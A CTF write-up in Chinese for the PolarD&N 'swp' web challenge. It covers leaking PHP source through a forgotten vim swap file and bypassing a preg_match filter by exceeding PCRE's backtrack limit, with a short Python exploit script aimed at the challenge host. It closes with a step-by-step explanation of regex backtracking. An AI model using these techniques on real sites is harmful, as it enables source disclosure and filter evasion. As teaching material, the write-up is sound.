6 min read

PolarD&N CTF - swp writeup (zh-TW)

PolarD&N CTF - swp writeup (zh-TW)

題目資訊

解題過程

Step 1: 發現 .swp 文件

訪問題目頁面,顯示提示:"true .swp file?"

🔍 什麼是 .swp 文件?

  • vim 編輯器的臨時交換文件
  • 當用 vim 編輯 index.php 時,會自動創建 .index.php.swp
  • 開發者忘記刪除就部署 → 信息洩露漏洞

常見路徑規律

原文件: index.php
Swap文件: .index.php.swp

嘗試訪問:

http://[target]/.index.php.swp

✅ 成功查看!

Step 2: 查看 .swp 文件內容

得到 PHP 源代碼:

<?php
function jiuzhe($xdmtql){ 
    return preg_match('/sys.*nb/is',$xdmtql); 
}

$xdmtql = @$_POST['xdmtql'];

僅列出部分程式碼!

Step 3: 代碼邏輯分析

要獲得 flag,需要同時滿足三個條件:

條件 檢查 要求
!is_array($xdmtql) 不是數組
!jiuzhe($xdmtql) 不匹配 /sys.*nb/is
strpos($xdmtql,'sys nb') !== false 包含 'sys nb'

🤔 矛盾點

  • 條件 ③ 要求包含 'sys nb'
  • 'sys nb' 明顯會匹配正則 /sys.*nb/is(條件 ②)
  • 如何繞過?

Step 4: 理解正則引擎的回溯機制

錯誤嘗試:在後面加字符

# ❌ 這樣不行
payload = "a" * 1000000 + "sys nb"

為什麼失敗?

字符串: "aaaa...(100萬個a)...sys nb"
正則:   /sys.*nb/

引擎行為:
1. 從左掃描 → 跳過所有 'a'
2. 找到 'sys' ✓
3. 找到 'nb' ✓
4. 匹配成功 → 返回 1

正確做法:利用貪婪匹配 + 回溯爆炸

# ✅ 正確順序
payload = "sys nb" + "a" * 1000000

為什麼成功?

字符串: "sys nb aaaa...(100萬個a)..."
正則:   /sys.*nb/

引擎行為:
1. 找到 'sys' ✓
2. .* 貪婪模式 → 吞掉所有字符到結尾
3. 發現結尾不是 'nb',需要回溯
4. 退1個字符 'a',檢查 → 不匹配
5. 退2個字符 'aa',檢查 → 不匹配
6. 退3個字符 'aaa',檢查 → 不匹配
   ...重複 100 萬次...
7. ⚠️ 超過 PCRE 回溯限制
8. preg_match() 返回 false(不是 0!)

關鍵差異

  • preg_match() 返回 false(錯誤)→ !jiuzhe() = true
  • strpos() 仍然能找到 'sys nb'

Step 5: 編寫 Exploit

Python 腳本

import requests

url = "http://8d8f752e-9531-4a5e-b86e-f5f0cf809f64.www.polarctf.com:8090/index.php"

# 關鍵:sys nb 要放在【前面】!
data = {"xdmtql": "sys nb" + "a" * 1000000}

res = requests.post(url, data=data, allow_redirects=False)
print(res.content)

Step 6: 獲得 Flag

執行腳本後,成功繞過正則檢查!

🎉 flag{xxxxxxxxxxxxxxx}

學習重點

1. vim swp 文件洩露

# 原文件 → Swap 文件
index.php     → .index.php.swp
config.php    → .config.php.swp
flag.txt      → .flag.txt.swp
admin.php     → .admin.php.swp

2. PCRE 回溯限制繞過

什麼是 PCRE?

PCRE = Perl Compatible Regular Expressions(Perl 兼容正則表達式)

PHP 的 preg_* 系列函數都使用 PCRE 引擎:

preg_match()
preg_match_all()
preg_replace()
preg_split()

回溯限制參數

// PHP 配置
pcre.backtrack_limit = 1000000  // 默認 100萬次
pcre.recursion_limit = 100000   // 默認 10萬次

// 運行時查看
ini_get('pcre.backtrack_limit');

3. preg_match vs strpos 的差異

函數 類型 返回值 性能
preg_match() 正則匹配 1 / 0 / false
strpos() 字符串查找 位置 / false

重要區別

// preg_match 可能返回 false(錯誤)
$result = preg_match('/sys.*nb/', $input);
// 返回 1(匹配)、0(不匹配)、false(錯誤)

// strpos 只返回位置或 false
$result = strpos($input, 'sys nb');
// 返回 整數位置 或 false

// ⚠️ 注意:用 !== 而不是 !=
if(strpos($str, 'sys nb') !== false) // 正確
if(strpos($str, 'sys nb') != false)  // 錯誤!位置0會被判false

4. ReDoS 攻擊原理

ReDoS = Regular Expression Denial of Service

攻擊原理圖

正常匹配:
Input:  "sys nb"
Regex:  /sys.*nb/
Steps:  sys → . → . → nb ✓ (4步)

回溯爆炸:
Input:  "sys nb" + "a"*1000000
Regex:  /sys.*nb/
Steps:  sys → .*吞光 → 回溯1次 → 回溯2次 → ... → 回溯1000000次 💥

經驗分享

這是一個新興的CTF挑戰平台,第一題簡單Web就結合基本的web訊息洩漏漏洞+基礎的代碼審計,但這個代碼審計也不容易,要了解如何造成漏洞,很有挑戰性!筆者會持續探索此平台有趣的題目!

下面跟AI深入討論

為什麼前面匹配到了還要回溯?

關鍵誤區

你可能以為正則引擎會這樣工作:

❌ 錯誤理解:
字符串: "sys nb" + "aaa...aaa"
正則:   /sys.*nb/

引擎: 找到 "sys" → 找到 "nb" → 結束!✓

但實際上,正則引擎是貪婪的!

實際執行流程

字符串: s y s   n b a a a a a a a a a...a
位置:   0 1 2 3 4 5 6 7 8 9 ...     1000005

Step 1: 匹配 "sys"

正則: /sys.*nb/
      ^^^
      
字符串: [sys] nb aaaa...aaa
        ^^^
        匹配成功 ✓ (位置 0-2)

Step 2: 匹配 ".*"(貪婪模式)

這是關鍵.*貪婪模式會:

  • ✅ 盡可能多地匹配字符
  • ✅ 一路吃到字符串結尾
正則: /sys.*nb/
          ^^
          貪婪!吃光所有!
          
字符串: sys [nbaaaaaa...aaaaa]
            ^^^^^^^^^^^^^^^^
            .* 吃掉了 " nb" 和所有的 "a"!
            
當前位置: 字符串結尾 (位置 1000005)

Step 3: 嘗試匹配結尾的 "nb"

正則: /sys.*nb/
            ^^
            現在要匹配 "nb"
            
字符串: sys nbaaaaaa...aaaa[?]
                          ^
                          當前位置:結尾
                          
引擎檢查: 這裡是 "nb" 嗎?
答案: ❌ 不是!已經到結尾了!

Step 4: 開始回溯

引擎想:「我 .* 吃太多了,要吐出來一些!」

回溯第 1 次:
字符串: sys nbaaaaaa...aaa[a]
                         ^^
.* 吐出最後 1 個字符 "a",檢查 "a" 是不是 "nb"?
答案: ❌ 不是!

回溯第 2 次:
字符串: sys nbaaaaaa...aa[aa]
                        ^^^^
.* 吐出最後 2 個字符 "aa",檢查 "aa" 是不是 "nb"?
答案: ❌ 不是!

回溯第 3 次:
字符串: sys nbaaaaaa...a[aaa]
                       ^^^^^
.* 吐出最後 3 個字符,檢查...
答案: ❌ 不是!

...重複 100 萬次...

回溯第 1000000 次:
字符串: sys nbaaaaaa[aaa...aaa]
                    ^^^^^^^^^^
終於吐出所有的 "a",但還是不匹配!

回溯第 1000001 次:
字符串: sys nb[aaa...aaa]
           ^^
檢查 "nb" → ✓ 終於匹配!

但是!PCRE 回溯限制 = 1,000,000
💥 超過限制 → preg_match() 返回 false

視覺化對比

場景 A:不會觸發回溯(我們之前的錯誤做法)

字符串: "aaa...aaa sys nb"
正則:   /sys.*nb/

步驟:
1. 掃描 → 跳過所有 "a"
2. 找到 "sys" ✓
3. .* 匹配 " "(空格)
4. 找到 "nb" ✓
5. 結束!(沒有回溯)

場景 B:觸發回溯爆炸(正確做法)

字符串: "sys nb aaa...aaa"
正則:   /sys.*nb/

步驟:
1. 找到 "sys" ✓
2. .* 貪婪吞光 " nbaaa...aaa" 💥
3. 嘗試匹配結尾 "nb" → 失敗
4. 回溯 1 次 → 失敗
5. 回溯 2 次 → 失敗
...
1000001. 回溯 100萬次 → 💀 超限!